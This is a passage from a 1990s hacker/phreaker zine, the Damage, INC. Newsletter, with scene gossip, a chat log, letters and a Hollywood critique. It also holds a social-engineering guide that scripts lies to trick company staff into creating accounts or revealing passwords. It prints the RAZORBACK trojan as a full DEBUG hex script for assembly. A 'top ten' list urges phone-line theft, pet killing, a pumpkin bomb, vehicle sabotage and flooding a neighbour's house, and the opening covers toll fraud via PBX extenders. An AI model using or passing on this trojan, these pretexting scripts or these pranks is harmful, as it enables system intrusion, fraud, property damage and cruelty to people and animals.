+you want to call. In the above example, I used distraught continuum which is a
+BBS in Guelph. You will have to experiment and try different amounts of pauses
+for virtually every extender that you find. As in, there are different lengths
+of messages etc. Some extenders require you to enter a client number first,
+then pauses, then the passcode, then more pauses and finally the number that
+you want to dial. If that sounds too difficult or complex, then you might as
+well forget about using extenders altogether.
+
+
+úúúÄÄÄ H/P NEWS ÄÄÄúúú
+
+A 14 year old hacker in Burlington was caught hacking an estimated 500 internet
+sites, military sites etc. He was recently busted at his home. There weren't
+many details reported about the case, since he is a minor and the cops can't
+release his information. They also wouldn't disclose how he was caught or why
+he was able to hack that many sites before being caught.
+
+Recently, the h/p scene has improved somewhat. There's still a long way to
+go though as many users still aren't educated and misunderstand what it is
+about. I'd like to give credit to the newbies that *are* learning. People
+such as Blade Runner have begun to read, experiment, learn and put that
+knowledge into practice. I can see potential in him, and hope that he
+continues to mature and evolve as well as become more involved. ;) In fact,
+I might start accepting new users on my board again, to reward people that
+are actually trying things and becoming dedicated. There might even be a new
+h/p board online in 519 soon. Perhaps the local scene is starting to change.
+
+Chicago...Chicago... the city of Capone. Killing people in the streets...with
+a heart of stone.
+Chicago...Chicago... the city of Capone. Death is lurking everywhere...welcome
+to the crime zone.
+
+Please allow me to introduce myself, my alias is Blackie Lawless. I am a
+proud member of Damage, INC. and have been in the h/p scene for many years.
+I'll be writing about any h/p news in my area that is worth reporting. Since
+I just moved to Chicago recently, I'm still becoming acquainted with the local
+h/p scene. I must say, I like the concept of the Damage, INC. Newsletter
+though and I'm looking forward to contributing more in future issues.
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+
+Below is Lordicon's reply to my New User Application message on Discrete and
+Elite. He laughs and tries to mock Damage, INC. That is what prompted me to
+interrogate him. I was very sarcastic with some of my comments and didn't
+answer any of his questions truthfully. Also, you'll notice that he likes
+to use the phrase "lemme guess" and calls h/p "old and lame" several times.
+This interrogation of Lordicon should show you how lamers talk and act. As
+you'll see, he knows nothing about h/p.
+
+
+-B is BLACKENED
+-L is Lordicon/Lamer
+
+
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+³ Num ³ Date/Time ³ Sender ³ Subject ³
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+ 1 22 Sep 1997 05:55p Lordicon Re: New User Application
+
+Select message (1-1) :
+
+Date: 5:55 pm Mon Sep 22, 1997 Number : 1 of 1
+From: Lordicon Base : Private Mail
+To : Blackened Refer #: None
+Subj: Re: New User Application Replies: None
+Stat: Normal Origin : Local
+
+
+B> I saw an old ad for your board on FOI... and then it was on the bbs list
+B> on distraught continuum. So, I thought I'd call.. and check it out.
+B> Later
+B>
+B> BLACKENED
+B> Damage, INC.
+
+cool...I guess...damage Inc...HAHAHAHA...u "hacker" nerd :)
+
+Read mail (?=Help) :
+
+.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù.
+LORDICON jumps in to chat...
+øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø
+hi...this is your sisop speaking. -L
+
+LORDICON Sends U back To Discreet & Elite...
+
+.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù.
+LORDICON jumps in to chat...
+øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø
+
+hi...i can't talk sorry... -L
+
+Why not? -B
+
+grounded :( ...heh heh, damage inc. ...lame old hacking stuff... -L
+
+
+.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù.
+LORDICON jumps in to chat...
+øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø
+
+Hey.. how's it going? -B
+
+fine :) ya, ok, I have lotz of homework 2 do so I gotta be quick ok... -L
+
+okay. You have lots of homework already? -B
+
+of course...I goto a private skool :( :) heh heh, ya we gotta wear a uniform
+(expensive) but it's comfortable -L
+
+What school do you go to? -B
+
+SJK (st john's kilmarnock) a little skool out by maryhill between gwelf and
+kW...ok, anywayz...assembly...why sort r we talking about like 6502 assembly
+or like 8386 or whatever? -L
+
+8086/88. I was just wondering, why did you call your board discrete and elite?
+Does it have warez? -B
+
+some, it's more of a name...u know, like Alien Horizons is just a name, it's
+not really some horizon with alien's on it...heh heh...mainly a cool rhyming
+name...ok but assembler!!!! :) -L
+
+Okay, I know how to program in assembly. I'm new to calling Guelph boards,
+so I don't know what Alien Horizons is all about. Anyways, why were you
+saying before that you hate hacking/phreaking? -B
+
+old and lame...people who are NEW to it think it's cool...all hacking is
+really if finding someone's PW cuz they made it easy to crack...more luck
+than skill in hacking and preaking is also lame, none of the like red or blue
+or other boxes really work...only thing that works is physically SPLICING the
+cables... it's just lame, and lame to see ppl with no experience saying...OH
+IT'S SOOO COOL... :) Can u UL me an assembly manual and an assembler? -L
+
+Yeah, sure man.. right after we chat. I'm new to this and you're teaching me
+some things and giving me good information. What do you know about
+carding/anarchy? -B
+
+I know that anarchy was origionally an antigovernment movement in europe that
+-- where some asshole decided to use bombs to highlight his opinions...so all
+use stupid idiots in canada and the US think that anarchy is breaking pop
+machines and blowing stuff up...YA RITE!...anywayz, carding is practically
+impossible unless u, again, PHYSICALLY get a card under some fake accound and
+like over draw on the account...see, it's not anything cool it's just luck! -L
+
+Okay. Is Freedom of Information Archives a good source of information for
+that type of stuff? -B
+
+ya, if u like it...I guess, I DL'd a whole ton of that stuff when I used to
+think it was cool...too bad it was about 8 year or so out of date...and
+besides, things like the black box OBVIOUSLY don't work...it's just cutting
+up a fone and sticking a light on one of the wires...and the guy who wrote
+the file says it makes the bell computers think ur still ringing and havn't
+picked up yet...oh well... -L
+
+Do you still call FoI? -B
+
+nope...no point...I don't like the stuff...I'm into games...way more fun and
+diverse than "hacking" -L
+
+Okay, I read somewhere that you were deleted from there. ;) -B
+
+ya, the sysop kicked me off (I was his cosysop) and I implimented a cool lite
+bar menu system for all the mojor menu's on the board...so like on the main
+menu u press up and down and left and right to move a cursor around and hit
+space when the cursor is on the desired item and then it takes u to that
+menu...
+btw, I may have to brake out of the conversation for a time if my parents
+come it so like, if I just stop typing for a while just hang -L
+
+Okay, no problem man. So, why do you think Damage, INC. is lame though? Do
+you think I should stop being a member? -B
+
+just had to brake out then,.,glad i told u :) I don't think DI is lame
+anymore, I thought it was some hacking/phreaking/anarchy thing (damage
+ --the word damage suggests that) -L
+
+Well, Damage, INC. does deal in h/p. ;) -B
+
+lemme guess, u figure out cracks and stuff to get into things...well, if it's
+a crack for a good game or prog that's GREAT but if it's to hack some guys
+hard drive with a trojan or something that's lame! -L
+
+What about hacking extenders/PBXs etc.? -B
+
+u can get caught easily on those...besides, it's better to just get the net
+and use things like netfone...u can actually use a special PC card that
+plugs into the fone and let's u call a person over the net voice...cool eh..
+I could call u over the net and I'm pretty sure u don't even need to be on
+the net...it just calls or somthing...and it's free (cept for the 150 bucks
+or so for the card) ...btw, the Web is the most boring thing now, damn that
+netscape, making it all graphical and stuff...the old superfast text based
+thing was cool...like a giant bbs! -L
+
+Yeah, what do you think about calling ld for free? -B
+
+lemme guess, biege boxing...too dangerous and too unrelaible...I don't have
+anyone to call anywayz since I use ICQ over the net (not the web the
+internet...that's 2 different things) ICQ is a real time chat prog that let's
+u send files, chat and send msgs and other things with lots of people at the
+same time so I just chat with my friends in KW for free over that and send
+files too... -L
+
+What about hacking ISPs and using the internet for free? -B
+
+I just too my skool's net info and duplicated on my comp...that's how I log
+in. -L
+
+What languages do you know how to program in? -B
+
+QuickBasic 4.0 Turing 7.05A VERY LITTLE Turbo Pascal and I'm
+learning Borland C++ 5 from one of the FOR DUMMIES books -L
+
+Haha... Have you ever tried to program a virus/trojan? -B
+
+again, LAME...WHY? I don't WANT access to anyones HD and viruses are lame
+and stupid...I don't like destroying or ruining things -L
+
+Okay, so you don't have anything like that on your board then? -B
+
+HELL NO...I've nearly got my entire 2.1 gig HD full of all kinds of cool
+games and stuff...i don'
+t want it deleted by accidentally releasing a virus on myself!!!!!! GEEZ! -L
+
+Haha. ;) Alright, so can I get access to your warez? -B
+
+it costs 5 bucks a month (much cheaper than any other board I've seen) and u
+get everything...all the files, tons more options and stuff...plus access to
+any tournaments I may have in games...plus all the new ONLINE GAMEs I get -L
+
+Would I have no ratio access if I sent in $5? -B
+
+ya... ...ya that's what it is...no ratio...u can DL as much as u want...plus
+ud get 3 hours a day -L
+
+Yeah. That's *very* reasonable, but I'm not into warez. ;) -B
+
+Heh heh...web warez suck...they never DL properly because of all the
+congestion...RRRRRRRRRRr -L
+
+I don't play any games. I mainly program... -B
+
+ya, program any games? -L
+or just apps ? -L
+
+I program utilities, trojans, viruses etc. ;) -B
+
+what about like, COOL stuff...things that EVERYONE can enjoy...games, DECENT
+utils that like can HELP you...etc...I'm not into virus stuff...infact, don't
+bother Uploading that assembler now, I'm afraid u'll put a virus in it. -L
+
+I wouldn't do that. As for useful utilities, I've programmed many. Check
+out the Damage, INC. Utilities sometime. They can be used by everyone. -B
+
+examples? -L
+
+Let's see, we've released a utility that can nuke files permanently. -B
+
+wow, I've seen that already...so basically it doesn't put that invisible tag
+on the file that allows it to be written over, it just kills the file right
+away? -L
+
+No, that isn't how it works. We've also programmed a utility called
+HideDrive that can be used to hide hard drives. We've -B[LORDICON interrupted]
+
+how about on that can password a directory...that would be nice... -L
+
+AND make it undeletable unless u know the PW? -L
+
+Yeah, I could create a utility like that. We've also programmed a utility
+to rename subdirectories and one to nuke subdirectories/trees. -B
+
+ok, DELTREE for dos does that and also, windows 95 can rename sub dirs
+anywayz...I want something that puts PWs on directories in win and dos so
+it's inaccessable from anywhere...AND make it so u can't remove the dir
+unless u have the PW -L
+
+You said before that you wouldn't trust files that I upload. -B
+
+ok, I trust u now :) I just HATE viruses... -L
+
+Yeah, we've made quite a few utilities. You'll have to read the Damage, INC.
+Utilities User Manual sometime... -B
+
+ok, whatever...u have a beginners manual for asm? Like one that will start
+at the start...like, this is how assembly works and stuff...basically all I
+know it that assembly works almost like the CPU itself, sending info to
+memory addresses and calculating it there...can u do graphics with ASM? -L
+
+Yes. You sound like you've mastered assembly already. ;) I'll look for the
+manual and upload it the next time I call. -B
+
+ok...and PLEASE, don't infect it!!!! -L
+
+Why would you assume that I'd do something like that? -B
+
+cuz once some asshole ULed a prog saying it was PKZIP (some newer version)
+(this was on my old 386 and I have no virus scan) ...I'd chatted once with
+him and we were just jokin and stuff, like I didn't tell him off or yell at
+him or get him mad and the next thing he does it UL this prog saying it was
+self extracting and it was really some shit exe prog (easily made in ANY
+language, ie: DEL *.*) and it nuked half my HD...>:O -L
+
+What was their alias? -B
+
+I dunno, but it was common...I saw someone with the same name on another
+board but it was the wrong guy... -L
+
+Haha.. shYueahtup!!! >:) [interrupted by LORDICON again] -B
+
+So, who draws the ansi for your board? -B
+
+me
+...I use a3e...I feel that a sysop has lost his/her own personal touch of the
+board...
+sorry I had to brake for a sec :) ...u know what I mean, once they don't do
+the ansis they don't own the board anymore. -L
+
+Yeah, I know what you mean. Do you have a Co-Sysop though? -B
+
+about 3...Rebel being my MAIN co who actually calls...the other 3 actually
+being a friend of mine, my bro and another friend that donated a 4x4 cdrom
+(4 disks. 4 spin) -L
+
+That's cool. Do they all help with the board? -B
+
+well, mainly reble...my bro is co by default and the other 2 barley ever call
+cuz one has his own board and the other (who donated the 4x4 drive) is LD -L
+
+How many hard drives do you have? -B
+
+1...a 2.1 gig...I want to get an 8 gig... -L
+
+Did you just get a new system? -B
+
+about ...nearly a year ago...a very nice p200 MMX...top of the line back when
+I got it...32 meg ram um, 15 inch monitor and a SB-AWE 32...and 8x cdrom -L
+
+How'd you afford to buy that? -B
+
+my parents did...I'm only 16... -L
+
+Haha. Okay, anyways, I'm busy and have to go do something. So, I'll call
+tomorrow.
+Later [LORDICON started fucking around again] -B
+
+heh heh sorry, ok laters...btw, check out the files...I have MP3s and video
+game emulators and roms... -L
+
+Okay. I'll check it out tomorrow. -B
+
+ya, okie...I got that HW to finish anywayz...btw how old be u -L
+
+I'm 32 -B
+
+HAHAHAHA...and ur into hacking and stuff...NERD! :)
+sorry :) it's just so KIDDISH to be into hacking and stuff...asembly is cool
+tho... -L
+
+Yeah, that's how I make money... Anyways, I'll chat with ya later. -B
+
+c ya...ok...bye -L
+
+
+LORDICON Sends U back To Discreet & Elite...
+
+
+LETTERS TO THE EDITOR: {LETTERS}
+
+I received these messages on Freedom of Information Archives, and decided to
+save my replies for this section of the Damage, INC. Newsletter. Send us
+feedback. We'll try to publish the majority of the readable, quality letters.
+
+
+From: Aenima Base : Damage, INC. Discussion
+To : Blackened Refer #: 107
+Subj: Re: feedback Replies: 1
+Stat: Normal Origin : Local
+
+i have a suggestion for Damage INC.
+
+ahem
+
+ "BLACKENDS TIP OF THE MONTH"
+and make a tip. would take like 5-20 mins but would make it really cool!
+
+
+From: Aenima Base : Damage, INC. Discussion
+To : Blackened Refer #: 85
+Subj: Re: feedback Replies: None
+Stat: Normal Origin : Local
+
+B> I'm looking for some feedback from the readers of the Damage, INC. Newslette
+B> So, if you've read it.. reply. We're thinking about adding a letters to the
+B> editor section. You write me a message with comments, suggestions, whatever
+B> you want to say about the newsletter.. and I will reply to some letters in
+B> the next issue. ;)
+
+feedback eh. hmm, well i for one thought it was well laid out easy to read,
+very informative when i say well laid
+out i mean like easy to follow
+e.g
+
+when you an the journalist were chatting after he or you were done you would
+say -TJ or -B very usefull also i like that method with the NWO trojan its
+efective and a GOOD method. you like 40 hex?
+
+now some bad things i found i did not really like the table of contents
+PERSOANLY i feel they should be a little neater.
+
+thats all i have to say other than that LITTLE thing it was very informative
+
+i'll never eat at burger king again :)
+--------------------------------------------------------------------------------
+
+Editor - Thanks for the feedback man. We always appreciate comments and
+ helpful suggestions. As for the interview, the -B and -TJ identifiers
+ were added afterwards to make it easier for readers to follow. We've
+ included more h/p information in this issue, and plan to gradually
+ increase that aspect of the Damage, INC. Newsletter.
+
+ I have respect for Phalcon/Skism and used to read 40 Hex magazine
+ regularly. That's why I decided to use the debug script method,
+ since it's very safe and effective.
+
+ The contents has been changed in the issue. We hope the readers find
+ the new format neater and easier to use. You suggested that I add
+ a section called "BLACKENED's Tip of the Month" and that has been
+ included in this issue. Thanks again for that insightful suggestion.
+
+ I'm glad you found the first issue to be informative. As for Burger
+ King, my intention was to write an article that would have an impact
+ on anyone that read it. Your comment about never eating there again
+ confirms that I was successful in informing at least one reader. ;)
+
+
+OBJECTIVE OPINIONS - {OPINIONS}
+ ---/ Hacking and Hollywood /---
+
+ Like almost everything in this world, Hacking/Phreaking has received
+its share of media attention. This is expected, as nothing escapes the
+watchful eye of the paparazzi. Whenever Hollywood takes an interest,
+and decides to publicize events/facts in a totally distorted view, I get a
+little pissed off.
+ I'm not talking about real events like the Internet wormhole virus, but
+fictional material that portrays hacking in a certain view. Let's take the
+movie "Hackers" for example. I'm sure anyone reading this has seen it just
+out of curiosity. For those of you lucky enough to be warned by a fellow
+h/p'er not to see it, I will recap the general theme. In the film, hacking
+is glamourized; to no end. In this movie its the hackers who get the chicks,
+not the jocks. Hahaha, now that's realism for ya ;). Granted, the film is
+set in the future, but unfortunately the producers decided to show techniques
+that have been used by hackers for years. So first of all, the first
+incongruency that comes to my attention is that they give the impression hackers
+are a malicious bunch of rebels, using the same technique to accomplish their
+means. Despite the true reality, which is that hacking constantly changes, and
+is being updated. Otherwise it wouldn't be hacking. I think in the movie,
+they even have the audacity to show someone using a bluebox. I could be
+wrong, but crap like this just represents hackers as idiots. It appalls me.
+Another aspect of the "Hackers" movie was the hang-out spot used by the
+main characters. This is essentially a "Boogie's Diner" (bad show) with
+some neon lights and music. And don't forget the inline skaters, hehe.
+They are portraying hacking as a social activity, something that you do
+around dinner, which is hilarious. I think if they made a true hacker
+movie it would either be really boring, or fucking amazing. That's how it
+is when you live the lifestyle. When you eat, breathe, sleep h/p you
+spend hours in a trance playing around with numerous different variables,
+twiddling obscure configs and hoping it works. H/P has its exciting
+moments, and its boring moments. Hollywood cannot understand this.
+ Another, and perhaps not quite so bad h/p flick is "The Net" with Sandra
+Bullock. The producers managed to come up with some unique ideas
+surrounding viruses/cryptology/hp etc. It was still too Hollywood though,
+with the standard movie "template" - good guy, bad guy, conflict, a chase,
+romance, happy ending. You know what I mean... far too predictable ;)
+I think if a hacker movie was to be done properly, it would far more like
+Pulp Fiction/Clerks/Trainspotting. Not much editing, actors that were more
+hackers than actors, and a producer that wasn't bent on going mainstream
+to make money. Only then could our community be properly represented.
+
+ I am a firm hater of "Hollywood style" movies. They are all the same,
+just with a slight twist in the plot, and some different actors. For those
+reading this that have never experienced the thrill of hacking an extender,
+or coding a trojan, pay attention closely: Hacking is nothing like you
+think it is. All, and I repeat *All* of you have a misconception that h/p
+is about reading text files and then doing what they say. This cannot be
+further from the truth. It is about racking your brains to think of a
+potential security leak. It is about brainstorming new ideas for social
+engineering. Hollywood is in some cases the cause of these misconceptions.
+And there is always a message in my articles. It is of vital importance
+to constantly and completely evaluate all information entering your senses
+throughout waking consciousness. Decide whether the data matches and fits
+in with your belief system. Be aware of false data/propaganda, especially
+from Big Brother, and seek out information that corresponds with your
+interests.
+
+
+
+
+REPORTS FROM THE FRONT - {REPORTS}
+ ---/ Social Engineering /---
+
+ So what do those big words mean? ;) If you don't know, perhaps you
+should not try any of the things mentioned in this article. But enough
+chatter, let's get down to business.
+ Throughout the history of networked computers, the biggest security
+breach comes from humans. You can't beat a computer, you really can't.
+Ask Blade Runner, guessing passwords just doesn't work ;). Perhaps every
+now and then you find a unix terminal that hasn't got a certain bug removed,
+in which case you promptly take advantage of the loophole, and give yourself
+admin access. But unfortunately it's not always that easy. A certain amount
+of tact must be applied if you wish to successfully break the system you've
+been tracking for weeks. Trashing is one of the alternatives, but that can
+be saved for another time. In this article I want to explain to you the
+basics of social engineering, what it is, and perhaps answer some questions
+you might find yourself asking.
+ So what is social engineering? Put simply, it is calling up a person
+associated with your target system, and fooling them into giving you
+information otherwise kept for special users. There are many variations on
+this, and I encourage you not to practice any of the ideas presented here,
+but think of your own. This will serve as a starting point for ideas you
+create on your own.
+
+ Let's say for example I have been scanning the exchange for carriers, and
+I come across an unsupervised unix prompt. The first thing to do is record
+the phone number (this will be done automatically by a wardialer). After
+this I would try to find out what other numbers go with that one. I would
+call say 5 number variations on either side, let me show you.
+
+ --> 651-1502 <-- number found by scanner
+ 651-1497 \
+ 651-1498 \
+ 651-1499 \
+ 651-1500 |
+ 651-1501 I dial these numbers off my voice phone, and
+ 651-1503 find out who answers, etc.
+ 651-1504 |
+ 651-1505 /
+ 651-1506 /
+ 651-1507 /
+
+ Okay, I have dialed all of the surrounding numbers, and got some busies,
+no-answers, residence lines, and 3 business lines. These are what you are
+looking for, as it is quite possible they are connected to the 651-1502
+which has the carrier on the end of it. It depends now on your research
+skills, as to how much you decide to find out about the companies. This
+is important because there's not much point in hacking a hardware store
+for example. The social engineering comes into play here, because you will
+use this to find out what companies are on the other end of those voice
+lines. Either divert your call or use *67 to at least fool their
+call-display. I call the first number :
+
+ Target: "Hello, Branton & Branton Co."
+ TJ: "Hi, can you spare 5 minutes of your time, I'm doing
+ a research paper for school."
+ Target: "Ohh, what school, etc etc."
+ TJ: "Guelph University, Macro-Economics & social darwinism"
+ (or some bullshit)
+ Target: "Okay, what do you need?"
+ TJ: "Uhm, ..What type of service does your business provide?"
+ Target: "Financial Assistance for retired politicians."
+ TJ: "ahh, okay. And what is the average annual profit for this
+ company?"
+ Target: "blah blah"
+ TJ: "Okay, thank you very much for your time. I appreciate your
+ co-operation." (be sure to be very polite, no matter what)
+
+This is a sample conversation with a possible hack. That is social
+engineering right there. It is the ability to lie quickly, and believably.
+The skill comes with practice, and once you find a good outline, you can
+use it for almost any target.
+ Once you decide on a suitable system to hack, your focus is to get in
+without drawing attention to yourself. Call the business up again, and
+this time be ready to adapt your story as you go along. You are attempting
+to trick this person into giving you a password, so obviously they will be
+suspicious. Whatever you do, don't give up. It is an indicator you are
+full of shit. You must be assertive, and pretend you are doing your job -
+Unix Maintenance Engineer for the Branton & Branton Co. Network.
+(or whatever you choose.) I will provide a list of possible lies that might
+work on a gullible victim (because remember, some people aren't stupid, and
+will figure you out. Be ready)
+
+ -Say you just started working for the company, but have not
+ yet been given access to unix. Ask the secretary to set up
+ an account under the following name, with the following
+ password. (now you have an account on there)
+
+ -Say you have been attempting to connect to the server, but
+ it does not seem to be connecting right. Use lots of rich
+ terminology to confuse the poor bitch, and at the same time
+ make her think you know what you're doing. This technique
+ when modified is unbeatable.
+
+ -One thing to be aware of is that you should never mention
+ the word "password" in the first 3-5 minutes of conversation.
+ Give the person the impression there is something wrong with
+ their system, and then proceed to bullshit your way around
+ them verbally until they decide to give you the sysop password
+ or whatever your request may be.
+
+ -You must establish yourself immediately, and don't falter.
+
+ -One other thing I forgot to mention, for those of you who don't
+ have a man's voice. (pre-pubescent) ;) you can get hold of a
+ voice changer, from about $29.99, or use a wave editor that
+ takes mic input and changes the pitch to a lower one.
+
+Conclusion:
+ This information has been provided in the hopes that people will once
+again seek out new ways to gain access, and also learn more about a
+suspicious company, or whatever. These are strictly guidelines and should
+not be followed to the letter. To anybody who successfully uses these
+techniques, please let me know, I'd love to hear about it.
+
+
+
+
+SOURCE AND SCRIPTS - {SOURCE}
+The RAZORBACK trojan by Damage, INC.
+
+This is the long awaited, RAZORBACK trojan. It wasn't intended to be used
+for malicious purposes. However, if it is used for destructive purposes then
+we aren't responsible for any damage it causes. We're releasing it, but are
+not condoning that type of usage. Also, we aren't hiding it in anything or
+executing it on anyone else's system. It's up to you to use DEBUG to assemble
+it. After that, you are supposed to use it for informational, educational
+purposes to learn more about trojans. That's the disclaimer. That is also the
+only warning we are going to issue to anyone reading this. ;)
+Shown below is some information about memory requirements, file size and how to
+use DEBUG.
+
+Conventional Memory :
+
+ Name Size in Decimal Size in Hex
+------------- --------------------- -------------
+ RAZOR 2384 ( 2.3K) 950
+
+
+Clip out the RAZORBACK debug script and save it to a file called RAZOR.SCR.
+Then use DEBUG < RAZOR.SCR at a DOS prompt to assemble it. The result will
+be RAZOR.COM, which should be 1117 bytes.
+
+-------------------------------------------------------------------------------
+N RAZOR.COM
+E 0100 B8 F8 1B BA 9E 02 3B C4 73 67 8B C4 2D 44 03 25
+E 0110 F0 FF 8B F8 B9 A2 00 BE 7C 01 FC F3 A5 8B D8 B1
+E 0120 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0C 01 F2 15
+E 0130 FB 09 DE 40 2A AA D4 93 78 32 34 BF 3A 04 75 98
+E 0140 C5 48 C8 62 2B D4 F0 5E 37 55 61 95 AB C2 98 E5
+E 0150 B9 02 BA 49 BF DC 70 6D 47 20 02 71 3F 14 B2 4E
+E 0160 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F 72 79
+E 0170 24 B8 00 09 BA 5F 01 CD 21 CD 20 90 FD 8B F8 4F
+E 0180 4F BE BE 02 03 F2 8B CA D1 E9 F3 A5 FC 87 F7 46
+E 0190 46 BF 00 01 AD 95 BA 10 00 EB 32 90 AD 95 B2 10
+E 01A0 EB 3B AD 95 B2 10 EB 3C AD 95 B2 10 EB 41 AD 95
+E 01B0 B2 10 EB 63 AD 95 B2 10 EB 64 AD 95 B2 10 EB 65
+E 01C0 AD 95 B2 10 EB 66 AD 95 B2 10 72 08 A4 D1 ED 4A
+E 01D0 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 BF D1 D3 D1
+E 01E0 ED 4A 74 BE D1 D3 85 DB 74 17 D1 ED 4A 74 B9 D1
+E 01F0 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2 10 D1
+E 0200 D3 2E 8A 8F 1C 01 80 F9 0A 74 3A 33 DB 83 F9 02
+E 0210 74 26 D1 ED 4A 74 97 72 1F D1 ED 4A 74 96 D1 D3
+E 0220 D1 ED 4A 74 95 D1 D3 D1 ED 4A 74 94 D1 D3 80 FB
+E 0230 02 73 1E 2E 8A BF 2C 01 AC 8A D8 56 8B F7 2B F3
+E 0240 F3 A4 5E EB 88 AC 02 C8 80 D5 00 3C FF 75 BC EB
+E 0250 33 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 08 72
+E 0260 D2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB 17 72
+E 0270 C2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 81 E3 DF 00
+E 0280 86 DF EB B4 33 C0 06 BB 00 01 53 8B D8 8B C8 8B
+E 0290 D0 8B E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00
+E 02A0 00 00 00 00 06 07 08 09 01 02 00 00 03 04 05 06
+E 02B0 00 00 00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 90
+E 02C0 00 00 B8 09 35 CD 21 89 1E 4C 01 8C 06 4E 01 B4
+E 02D0 25 14 00 BA 19 01 0F BA F8 08 CD 27 9C 2E FF 06
+E 02E0 50 00 50 01 2E 83 3E 05 4B 72 0B 50 53 51 52 00
+E 02F0 00 06 1E 16 56 57 EB 02 EB 16 E8 1B 00 E8 1C 02
+E 0300 2E 09 00 C7 20 00 00 5F 5E 17 1F 07 5A 59 5B 58
+E 0310 6C 00 9D EA 00 01 50 9C E4 60 E4 61 8A E0 A0 00
+E 0320 0C 80 E6 61 86 E0 04 9D FA B0 20 E6 20 00 00 58
+E 0330 BA 1E 01 06 B8 40 00 8E C0 26 89 16 13 00 07 05
+E 0340 14 BB 3B BE 02 00 06 33 C0 11 D1 00 25 E3 D1 E6
+E 0350 8B 87 FE 03 87 84 04 89 01 A0 08 07 EB 00 0E 07
+E 0360 C6 06 CA 01 14 B4 2C 00 12 8D 0B D2 74 F8 02 D6
+E 0370 02 D1 02 D5 8A 0A 00 EA B0 A4 09 80 EC 06 B1 01
+E 0380 B6 01 B2 80 0A 14 BB CB AD 13 72 06 FE 0E 2B 75
+E 0390 98 CE D4 C3 00 20 01 DB 01 F7 CF 09 11 0B 8E 77
+E 03A0 04 12 DD 20 DE 11 DF EE 37 0E DD 1D 54 EE 01 CD
+E 03B0 01 DE 38 D9 99 09 01 08 DD DE AF 29 03 12 DD 2A
+E 03C0 CD D5 9E 0D DC 01 0B E7 E4 14 61 26 DD CD DF F3
+E 03D0 01 59 35 9E 76 68 08 DE 07 E7 54 02 12 CD DF 62
+E 03E0 DF AF 73 01 37 DE 39 9E D3 7B 62 A0 DE FB F6 DA
+E 03F0 A6 03 9D B7 FF 12 01 D6 FD DC 1F 00 9D 1C 1D A0
+E 0400 EF 0D 01 22 54 68 65 20 6E 61 6D 00 00 05 73 70
+E 0410 65 61 6B 73 20 66 6F 72 20 69 74 73 50 1D 65 6C
+E 0420 66 21 22 46 0C 3B 0E 07 16 40 B0 75 A9 B9 02 00
+E 0430 B6 00 00 00 AA 6E 03 CD 13 E9 40 02 52 41 5A A0
+E 0440 37 4F 52 42 41 43 4B FC 09 FC F4 E0 0E 21 09 58
+E 0450 A1 1C 01 B9 01 24 88 58 C6 05 58 EE 02 00 DE 01
+E 0460 FC 01 EF 01 53 4C 41 4D 4D 49 00 00 4E 47 20 54
+E 0470 48 52 4F 55 47 48 2C 20 44 4F 4E 27 00 E5 54 20
+E 0480 46 55 43 4B 20 57 49 16 20 23 30 43 20 53 54 45
+E 0490 50 50 0B 14 2C 29 54 3F 20 20 59 07 27 8A 2A 4C
+E 04A0 4C 2A 45 45 05 0B 54 9A 52 20 48 08 09 4E B5 41
+E 04B0 18 0D 31 42 4C 4F 4F 44 29 DC 21 4F 18 4F 57 53
+E 04C0 14 50 0E 41 4E 04 57 45 20 4D 41 4B AA A8 05 53
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+E 04E0 1D CA CC 80 04 43 26 7C 92 AA A9 52 4A 45 23 48
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+RCX
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+W
+Q
+-------------------------------------------------------------------------------
+
+
+The Journalist's Top Ten List - {TOP TEN}
+ "Phun things to do in the Fall..."
+
+ 1. An oldie but a goody. Beige Box some unsuspecting idiot's
+ house. A bonus is if you have a laptop ;)
+ 2. Pour HCl around the trees and bushes in your neighbourhood. -
+ ruin it for those who like the fall colours.
+ 3. Pile the leaves from the curb into the middle of the road.
+ This works even better if you put half bricks, half leaves, haha.
+ 4. A little early, but smashing pumpkins on the walls of people's
+ houses always relieves stress! ;)
+ 5. An alternative is to put a small bomb inside it, and use a
+ remote detonator. Make sure you ring the doorbell before you run!
+ 6. Halloween & Devil's night always provide a plethora of pranks
+ for the amateur terrorist. Make sure you get into the spirit of
+ Halloween, and hang your neighbours cats/dogs from the tree.
+ Perhaps the tree outside the local church.
+ 7. Tell all your (lamer) friends that Daylight Savings Time has
+ been cancelled this year due to budget cutbacks.
+ 8. Lots of people take walks in the fall. To see the "pretty colours"
+ . This is the perfect opportunity to bring out the old pellet
+ gun, and have some phun! As a rule, only shoot the dogs they walk,
+ but if the neighbourhood asshole walks by, 'pop a cap in his ass' ;)
+ 9. Go to a snowmobile auction. Pretend to be "looking" in the gas
+ tank, but instead pour sugar into it. Be sure you don't miss the
+ expensive ones.
+ 10. And the final way to cause anarchy in the fall...
+ Sneak to the local asshole's house. Block his drainpipe by stuffing
+ a load of stones/dirt/concrete mixture into the top or bottom. This
+ will probably cause his house to flood in the spring, or even before
+ winter *starts*! haha, there goes the Christmas bonus ;)
+
+.by..the..Journalist.
+
+
+CLOSING COMMENTS - {CLOSING}
+
+We had planned to include a list of h/p sites, but we decided to release all
+lists separately instead. There are going to be many lists created by us and
+released. They are for the purpose of using to gain more information, and by
